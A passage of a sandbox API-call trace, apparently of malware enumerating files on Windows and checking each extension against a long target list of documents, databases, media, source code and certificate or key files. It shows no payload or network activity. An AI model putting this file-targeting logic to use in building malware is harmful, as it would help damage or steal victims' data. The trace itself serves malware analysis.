ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x583108 [0061.820] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.820] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0061.820] lstrlenW (lpString="eula.rtf") returned 8 [0061.820] lstrlenW (lpString=".1cd") returned 4 [0061.820] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0061.820] lstrlenW (lpString=".3ds") returned 4 [0061.820] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0061.820] lstrlenW (lpString=".3fr") returned 4 [0061.820] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0061.820] lstrlenW (lpString=".3g2") returned 4 [0061.820] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0061.820] lstrlenW (lpString=".3gp") returned 4 [0061.820] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0061.820] lstrlenW (lpString=".7z") returned 3 [0061.820] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0061.820] lstrlenW (lpString=".accda") returned 6 [0061.820] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0061.820] lstrlenW (lpString=".accdb") returned 6 [0061.820] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0061.820] lstrlenW (lpString=".accdc") returned 6 [0061.820] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0061.820] lstrlenW (lpString=".accde") returned 6 [0061.820] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0061.820] lstrlenW (lpString=".accdt") returned 6 [0061.820] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0061.820] lstrlenW (lpString=".accdw") returned 6 [0061.820] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0061.821] lstrlenW (lpString=".adb") returned 4 [0061.821] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0061.821] lstrlenW (lpString=".adp") returned 4 [0061.821] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0061.821] lstrlenW (lpString=".ai") returned 3 [0061.821] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0061.821] lstrlenW (lpString=".ai3") returned 4 [0061.821] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0061.821] lstrlenW (lpString=".ai4") returned 4 [0061.821] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0061.821] lstrlenW (lpString=".ai5") returned 4 [0061.821] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0061.821] lstrlenW (lpString=".ai6") returned 4 [0061.821] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0061.821] lstrlenW (lpString=".ai7") returned 4 [0061.821] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0061.821] lstrlenW (lpString=".ai8") returned 4 [0061.821] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0061.821] lstrlenW (lpString=".anim") returned 5 [0061.821] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0061.821] lstrlenW (lpString=".arw") returned 4 [0061.821] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0061.821] lstrlenW (lpString=".as") returned 3 [0061.821] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0061.821] lstrlenW (lpString=".asa") returned 4 [0061.821] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0061.821] lstrlenW (lpString=".asc") returned 4 [0061.821] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0061.821] lstrlenW (lpString=".ascx") returned 5 [0061.821] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0061.821] lstrlenW (lpString=".asm") returned 4 [0061.821] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0061.821] lstrlenW (lpString=".asmx") returned 5 [0061.822] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0061.822] lstrlenW (lpString=".asp") returned 4 [0061.822] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0061.822] lstrlenW (lpString=".aspx") returned 5 [0061.822] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0061.822] lstrlenW (lpString=".asr") returned 4 [0061.822] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0061.822] lstrlenW (lpString=".asx") returned 4 [0061.822] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0061.822] lstrlenW (lpString=".avi") returned 4 [0061.822] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0061.822] lstrlenW (lpString=".avs") returned 4 [0061.822] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0061.822] lstrlenW (lpString=".backup") returned 7 [0061.822] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0061.822] lstrlenW (lpString=".bak") returned 4 [0061.822] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0061.822] lstrlenW (lpString=".bay") returned 4 [0061.822] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0061.822] lstrlenW (lpString=".bd") returned 3 [0061.822] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0061.822] lstrlenW (lpString=".bin") returned 4 [0061.822] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0061.822] lstrlenW (lpString=".bmp") returned 4 [0061.822] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0061.822] lstrlenW (lpString=".bz2") returned 4 [0061.822] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0061.822] lstrlenW (lpString=".c") returned 2 [0061.822] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0061.822] lstrlenW (lpString=".cdr") returned 4 [0061.822] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0061.822] lstrlenW (lpString=".cer") returned 4 [0061.822] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0061.822] lstrlenW (lpString=".cf") returned 3 [0061.822] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0061.822] lstrlenW (lpString=".cfc") returned 4 [0061.822] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0061.822] lstrlenW (lpString=".cfm") returned 4 [0061.823] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0061.823] lstrlenW (lpString=".cfml") returned 5 [0061.823] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0061.823] lstrlenW (lpString=".cfu") returned 4 [0061.823] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0061.823] lstrlenW (lpString=".chm") returned 4 [0061.823] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0061.823] lstrlenW (lpString=".cin") returned 4 [0061.823] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0061.823] lstrlenW (lpString=".class") returned 6 [0061.823] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0061.823] lstrlenW (lpString=".clx") returned 4 [0061.823] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0061.823] lstrlenW (lpString=".config") returned 7 [0061.823] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0061.823] lstrlenW (lpString=".cpp") returned 4 [0061.823] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0061.823] lstrlenW (lpString=".cr2") returned 4 [0061.823] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0061.823] lstrlenW (lpString=".crt") returned 4 [0061.823] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0061.823] lstrlenW (lpString=".crw") returned 4 [0061.823] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0061.823] lstrlenW (lpString=".cs") returned 3 [0061.823] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0061.823] lstrlenW (lpString=".css") returned 4 [0061.823] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0061.823] lstrlenW (lpString=".csv") returned 4 [0061.823] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0061.823] lstrlenW (lpString=".cub") returned 4 [0061.823] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0061.823] lstrlenW (lpString=".dae") returned 4 [0061.823] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0061.823] lstrlenW (lpString=".dat") returned 4 [0061.823] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0061.823] lstrlenW (lpString=".db") returned 3 [0061.823] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0061.824] lstrlenW (lpString=".dbf") returned 4 [0061.824] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0061.824] lstrlenW (lpString=".dbx") returned 4 [0061.824] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0061.824] lstrlenW (lpString=".dc3") returned 4 [0061.824] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0061.824] lstrlenW (lpString=".dcm") returned 4 [0061.824] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0061.824] lstrlenW (lpString=".dcr") returned 4 [0061.824] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0061.824] lstrlenW (lpString=".der") returned 4 [0061.824] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0061.824] lstrlenW (lpString=".dib") returned 4 [0061.824] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0061.824] lstrlenW (lpString=".dic") returned 4 [0061.824] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0061.824] lstrlenW (lpString=".dif") returned 4 [0061.824] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0061.824] lstrlenW (lpString=".divx") returned 5 [0061.824] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0061.824] lstrlenW (lpString=".djvu") returned 5 [0061.824] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0061.824] lstrlenW (lpString=".dng") returned 4 [0061.824] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0061.824] lstrlenW (lpString=".doc") returned 4 [0061.824] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0061.824] lstrlenW (lpString=".docm") returned 5 [0061.824] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0061.824] lstrlenW (lpString=".docx") returned 5 [0061.824] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0061.824] lstrlenW (lpString=".dot") returned 4 [0061.824] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0061.824] lstrlenW (lpString=".dotm") returned 5 [0061.824] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0061.824] lstrlenW (lpString=".dotx") returned 5 [0061.824] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0061.824] lstrlenW (lpString=".dpx") returned 4 [0061.825] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0061.825] lstrlenW (lpString=".dqy") returned 4 [0061.825] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0061.825] lstrlenW (lpString=".dsn") returned 4 [0061.825] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0061.825] lstrlenW (lpString=".dt") returned 3 [0061.825] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0061.825] lstrlenW (lpString=".dtd") returned 4 [0061.825] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0061.825] lstrlenW (lpString=".dwg") returned 4 [0061.825] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0061.825] lstrlenW (lpString=".dwt") returned 4 [0061.825] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0061.825] lstrlenW (lpString=".dx") returned 3 [0061.825] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0061.825] lstrlenW (lpString=".dxf") returned 4 [0061.825] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0061.825] lstrlenW (lpString=".edml") returned 5 [0061.825] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0061.825] lstrlenW (lpString=".efd") returned 4 [0061.825] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0061.825] lstrlenW (lpString=".elf") returned 4 [0061.825] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0061.825] lstrlenW (lpString=".emf") returned 4 [0061.825] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0061.825] lstrlenW (lpString=".emz") returned 4 [0061.825] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0061.825] lstrlenW (lpString=".epf") returned 4 [0061.825] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0061.825] lstrlenW (lpString=".eps") returned 4 [0061.825] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0061.825] lstrlenW (lpString=".epsf") returned 5 [0061.825] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0061.825] lstrlenW (lpString=".epsp") returned 5 [0061.825] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0061.825] lstrlenW (lpString=".erf") returned 4 [0061.825] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0061.826] lstrlenW (lpString=".exr") returned 4 [0061.826] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0061.826] lstrlenW (lpString=".f4v") returned 4 [0061.826] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0061.826] lstrlenW (lpString=".fido") returned 5 [0061.826] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0061.826] lstrlenW (lpString=".flm") returned 4 [0061.826] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0061.826] lstrlenW (lpString=".flv") returned 4 [0061.826] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0061.826] lstrlenW (lpString=".frm") returned 4 [0061.826] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0061.826] lstrlenW (lpString=".fxg") returned 4 [0061.826] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0061.826] lstrlenW (lpString=".geo") returned 4 [0061.826] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0061.826] lstrlenW (lpString=".gif") returned 4 [0061.826] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0061.826] lstrlenW (lpString=".grs") returned 4 [0061.826] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0061.826] lstrlenW (lpString=".gz") returned 3 [0061.826] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0061.826] lstrlenW (lpString=".h") returned 2 [0061.826] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0061.826] lstrlenW (lpString=".hdr") returned 4 [0061.826] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0061.826] lstrlenW (lpString=".hpp") returned 4 [0061.826] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0061.826] lstrlenW (lpString=".hta") returned 4 [0061.826] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0061.826] lstrlenW (lpString=".htc") returned 4 [0061.826] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0061.826] lstrlenW (lpString=".htm") returned 4 [0061.826] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0061.826] lstrlenW (lpString=".html") returned 5 [0061.826] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0061.826] lstrlenW (lpString=".icb") returned 4 [0061.827] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0061.827] lstrlenW (lpString=".ics") returned 4 [0061.827] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0061.827] lstrlenW (lpString=".iff") returned 4 [0061.827] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0061.827] lstrlenW (lpString=".inc") returned 4 [0061.827] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0061.827] lstrlenW (lpString=".indd") returned 5 [0061.827] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0061.827] lstrlenW (lpString=".ini") returned 4 [0061.827] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0061.827] lstrlenW (lpString=".iqy") returned 4 [0061.827] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0061.827] lstrlenW (lpString=".j2c") returned 4 [0061.827] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0061.827] lstrlenW (lpString=".j2k") returned 4 [0061.827] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0061.827] lstrlenW (lpString=".java") returned 5 [0061.827] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0061.827] lstrlenW (lpString=".jp2") returned 4 [0061.827] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0061.827] lstrlenW (lpString=".jpc") returned 4 [0061.827] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0061.827] lstrlenW (lpString=".jpe") returned 4 [0061.827] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0061.827] lstrlenW (lpString=".jpeg") returned 5 [0061.827] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0061.827] lstrlenW (lpString=".jpf") returned 4 [0061.827] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0061.827] lstrlenW (lpString=".jpg") returned 4 [0061.827] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0061.827] lstrlenW (lpString=".jpx") returned 4 [0061.827] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0061.827] lstrlenW (lpString=".js") returned 3 [0061.827] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0061.827] lstrlenW (lpString=".jsf") returned 4 [0061.827] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0061.828] lstrlenW (lpString=".json") returned 5 [0061.828] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0061.828] lstrlenW (lpString=".jsp") returned 4 [0061.828] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0061.828] lstrlenW (lpString=".kdc") returned 4 [0061.828] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0061.828] lstrlenW (lpString=".kmz") returned 4 [0061.828] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0061.828] lstrlenW (lpString=".kwm") returned 4 [0061.828] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0061.828] lstrlenW (lpString=".lasso") returned 6 [0061.828] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0061.828] lstrlenW (lpString=".lbi") returned 4 [0061.828] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0061.828] lstrlenW (lpString=".lgf") returned 4 [0061.828] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0061.828] lstrlenW (lpString=".lgp") returned 4 [0061.828] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0061.828] lstrlenW (lpString=".log") returned 4 [0061.828] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0061.828] lstrlenW (lpString=".m1v") returned 4 [0061.828] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0061.828] lstrlenW (lpString=".m4a") returned 4 [0061.828] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0061.828] lstrlenW (lpString=".m4v") returned 4 [0061.828] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0061.828] lstrlenW (lpString=".max") returned 4 [0061.828] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0061.828] lstrlenW (lpString=".md") returned 3 [0061.828] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0061.828] lstrlenW (lpString=".mda") returned 4 [0061.828] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0061.828] lstrlenW (lpString=".mdb") returned 4 [0061.828] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0061.828] lstrlenW (lpString=".mde") returned 4 [0061.828] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0061.828] lstrlenW (lpString=".mdf") returned 4 [0061.829] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0061.829] lstrlenW (lpString=".mdw") returned 4 [0061.829] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0061.829] lstrlenW (lpString=".mef") returned 4 [0061.829] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0061.829] lstrlenW (lpString=".mft") returned 4 [0061.829] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0061.829] lstrlenW (lpString=".mfw") returned 4 [0061.829] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0061.829] lstrlenW (lpString=".mht") returned 4 [0061.829] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0061.829] lstrlenW (lpString=".mhtml") returned 6 [0061.829] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0061.829] lstrlenW (lpString=".mka") returned 4 [0061.829] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0061.829] lstrlenW (lpString=".mkidx") returned 6 [0061.829] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0061.829] lstrlenW (lpString=".mkv") returned 4 [0061.829] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0061.829] lstrlenW (lpString=".mos") returned 4 [0061.829] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0061.829] lstrlenW (lpString=".mov") returned 4 [0061.829] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0061.829] lstrlenW (lpString=".mp3") returned 4 [0061.829] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0061.829] lstrlenW (lpString=".mp4") returned 4 [0061.829] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0061.829] lstrlenW (lpString=".mpeg") returned 5 [0061.829] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0061.829] lstrlenW (lpString=".mpg") returned 4 [0061.829] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0061.829] lstrlenW (lpString=".mpv") returned 4 [0061.829] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0061.829] lstrlenW (lpString=".mrw") returned 4 [0061.829] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0061.829] lstrlenW (lpString=".msg") returned 4 [0061.830] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0061.830] lstrlenW (lpString=".mxl") returned 4 [0061.830] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0061.830] lstrlenW (lpString=".myd") returned 4 [0061.830] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0061.830] lstrlenW (lpString=".myi") returned 4 [0061.830] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0061.830] lstrlenW (lpString=".nef") returned 4 [0061.830] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0061.830] lstrlenW (lpString=".nrw") returned 4 [0061.830] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0061.830] lstrlenW (lpString=".obj") returned 4 [0061.830] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0061.830] lstrlenW (lpString=".odb") returned 4 [0061.830] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0061.830] lstrlenW (lpString=".odc") returned 4 [0061.830] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0061.830] lstrlenW (lpString=".odm") returned 4 [0061.830] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0061.830] lstrlenW (lpString=".odp") returned 4 [0061.830] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0061.830] lstrlenW (lpString=".ods") returned 4 [0061.830] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0061.830] lstrlenW (lpString=".oft") returned 4 [0061.830] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0061.830] lstrlenW (lpString=".one") returned 4 [0061.830] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0061.830] lstrlenW (lpString=".onepkg") returned 7 [0061.830] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0061.830] lstrlenW (lpString=".onetoc2") returned 8 [0061.830] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0061.830] lstrlenW (lpString=".opt") returned 4 [0061.830] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0061.830] lstrlenW (lpString=".oqy") returned 4 [0061.830] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0061.830] lstrlenW (lpString=".orf") returned 4 [0061.830] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0061.831] lstrlenW (lpString=".p12") returned 4 [0061.831] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0061.831] lstrlenW (lpString=".p7b") returned 4 [0061.831] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0061.831] lstrlenW (lpString=".p7c") returned 4 [0061.831] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0061.831] lstrlenW (lpString=".pam") returned 4 [0061.831] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0061.831] lstrlenW (lpString=".pbm") returned 4 [0061.831] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0061.831] lstrlenW (lpString=".pct") returned 4 [0061.831] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0061.831] lstrlenW (lpString=".pcx") returned 4 [0061.831] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0061.831] lstrlenW (lpString=".pdd") returned 4 [0061.831] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0061.831] lstrlenW (lpString=".pdf") returned 4 [0061.831] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0061.831] lstrlenW (lpString=".pdp") returned 4 [0061.831] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0061.831] lstrlenW (lpString=".pef") returned 4 [0061.831] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0061.831] lstrlenW (lpString=".pem") returned 4 [0061.831] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0061.831] lstrlenW (lpString=".pff") returned 4 [0061.831] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0061.831] lstrlenW (lpString=".pfm") returned 4 [0061.831] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0061.831] lstrlenW (lpString=".pfx") returned 4 [0061.831] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0061.831] lstrlenW (lpString=".pgm") returned 4 [0061.831] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0061.831] lstrlenW (lpString=".php") returned 4 [0061.831] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0061.831] lstrlenW (lpString=".php3") returned 5 [0061.831] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0061.831] lstrlenW (lpString=".php4") returned 5 [0061.831] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0061.832] lstrlenW (lpString=".php5") returned 5 [0061.832] lstrcmpiW (lpString1=".php5", 